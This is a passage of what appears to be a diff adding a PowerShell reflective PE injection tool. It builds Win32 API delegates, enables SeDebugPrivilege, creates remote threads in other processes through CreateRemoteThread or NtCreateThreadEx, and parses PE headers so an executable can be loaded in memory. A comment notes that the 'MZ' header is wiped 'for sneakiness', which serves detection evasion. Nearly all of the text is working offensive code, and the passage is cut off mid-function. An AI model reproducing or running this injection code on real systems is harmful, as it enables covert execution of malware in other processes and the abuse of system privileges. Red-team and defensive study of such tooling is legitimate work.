-Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] + [IntPtr] + $EndAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr]::Zero + if ($PsCmdlet.ParameterSetName -eq "Size") + { + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + } + else + { + $FinalEndAddress = $EndAddress + } + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Invoke-CreateRemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Verbose "Error creating remote thread, thread handle is null" + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType 